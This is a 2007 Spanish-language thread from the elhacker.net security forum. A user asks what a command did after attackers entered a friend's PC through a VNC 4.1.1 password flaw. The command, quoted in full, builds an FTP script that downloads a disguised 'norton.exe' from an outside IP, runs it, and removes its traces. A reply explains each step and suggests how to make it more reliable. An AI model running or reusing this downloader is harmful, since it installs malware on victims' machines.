elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 16:17  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Troyano por FTP y VNC
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Troyano por FTP y VNC  (Leído 1079 veces)
andryus

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Troyano por FTP y VNC
« en: 06 Enero 2007, 04:55 »

Buenas , un amigo tenia instalado el vnc 4.1.1 ( el que tiene el bug de la contraseña ) y entraron a su pc y con gran rapidez pusieron esto en inicio ejecutar:

cmd /c echo OPEN 201.248.192.112 2920>x&echo GET 84785_norton.exe>>x&echo QUIT>>x&FTP -n -s:x&84785_noºrton.exe&del x&exit

Quisiera que me explicaran ese codigo , por lo que veo se conecta a un servidor ftp en 201.248.192.112 por el puerto 2920 para descargar el archivo 84785_norton.exe es así? y quiero saber donde se almacena ese archivo descargado y si es ejecutado a la vez por ese codigo , quisiera saber como funciona como por ejemplo esas letras -n -s , etc , para despues poder aplicarlo yo alguna vez :p ..

Saludos   ;D
En línea
codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Troyano por FTP y VNC
« Respuesta #1 en: 06 Enero 2007, 05:47 »

Buenas , un amigo tenia instalado el vnc 4.1.1 ( el que tiene el bug de la contraseña ) y entraron a su pc y con gran rapidez pusieron esto en inicio ejecutar:

cmd /c echo OPEN 201.248.192.112 2920>x&echo GET 84785_norton.exe>>x&echo QUIT>>x&FTP -n -s:x&84785_noºrton.exe&del x&exit

Quisiera que me explicaran ese codigo , por lo que veo se conecta a un servidor ftp en 201.248.192.112 por el puerto 2920 para descargar el archivo 84785_norton.exe es así? y quiero saber donde se almacena ese archivo descargado y si es ejecutado a la vez por ese codigo , quisiera saber como funciona como por ejemplo esas letras -n -s , etc , para despues poder aplicarlo yo alguna vez :p ..

Saludos   ;D

Claro, primero creo un archivo llamado "x" mediante el comando echo. Lo que hizo fue agregar linea por linea los comandos del FTP, para que se conecte a ese ip/puerto y descargue el archivo.

Creo un archivo "x" con este contenido: (guardado en el directorio "windows")
Código:
OPEN 201.248.192.112 2920
GET 84785_norton.exe
QUIT

Después ejecuto el FTP con la opción -n para que no le pida usuario/contraseña y entre como anónimo (probablemente el tenia el FTP configurado así). Por otro lado, la opción -s carga los comandos de un archivo externo ("x") de modo que ejecuto "ftp -n -s:x" (lo que ejecuto los comandos, de entrar al FTP, bajar archivo y salir). Finalmente borro el archivo "x" y cerro la ventana de DOS con exit.

Hubiese sido aun mejor si al terminar el proceso, hubiese ejecutado el archivo con "start 84785_norton.exe". Pero de seguro el lo agrego al registro o algo para que se ejecute en cada reinicio o cada x tiempo.

Saludos,
« Última modificación: 06 Enero 2007, 05:50 por chico » En línea



W4ck1ng Team Member
andryus

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Troyano por FTP y VNC
« Respuesta #2 en: 06 Enero 2007, 22:30 »

ok gracias ya me keda claro :P .. tnks por la explicacion muy buena.

Saludos  ;D
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats